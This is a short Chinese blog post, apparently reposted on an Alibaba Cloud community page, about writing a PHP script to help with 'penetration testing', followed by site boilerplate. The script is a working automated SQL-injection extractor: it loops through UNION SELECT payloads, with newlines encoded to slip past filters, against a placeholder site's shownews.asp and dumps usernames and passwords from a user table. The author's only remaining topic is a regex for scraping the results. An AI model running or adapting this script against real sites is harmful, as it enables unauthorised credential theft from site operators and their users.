寫一個php小指令碼輔助滲透測試

來源:互聯網
上載者:User

標籤:from   log   int   ini   mat   select   list   空格   top   

因為一個注入要爬行一些資料,然後寫的一個小指令碼,能寫指令碼來輔助滲透,也算是裡程碑。哈哈哈

<?php $num = 1;while ($num <= 39) {$web_url =  "http://www.xxx.com/shownews.asp?id=626%0AUNION%0ASELECT%0Atop%0A1%0A1,user_username,3,user_password,5,6%0Afrom%0A(select%0Atop%0A1%0Auser_username,user_phone%0Afrom%0A(select%0Atop%0A".$num."%0Auser_username,user_phone%0Afrom%0Azy_user%0Awhere%0A1=1%0Aorder%0Aby%0Auser_username)%0At%0Aorder%0Aby%0Auser_username%0Adesc)t";$curl = curl_init();curl_setopt($curl, CURLOPT_URL,$web_url);curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);$html_code = curl_exec($curl);$re = "/<div class=\"helpcontent\">[\s\S]*div>/U";//U取消貪婪模式if(preg_match_all($re, $html_code, $arr)){    print_r($arr[0]);}curl_close($curl);$num = $num + 1;echo "<br />";} ?>

這裡遇到了最大的問題還是正則匹配。匹配那個換行。因為html標籤是這樣的。

  <div class="news_list fr"> <h1>wtmpvp</h1>      <div class="helpcontent">這裡是要匹配的內容 </div></div>

可見匹配當中有換行,且一大堆空格。

然後寫半天寫正則寫不出來。賊尷尬。

 

寫一個php小指令碼輔助滲透測試

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.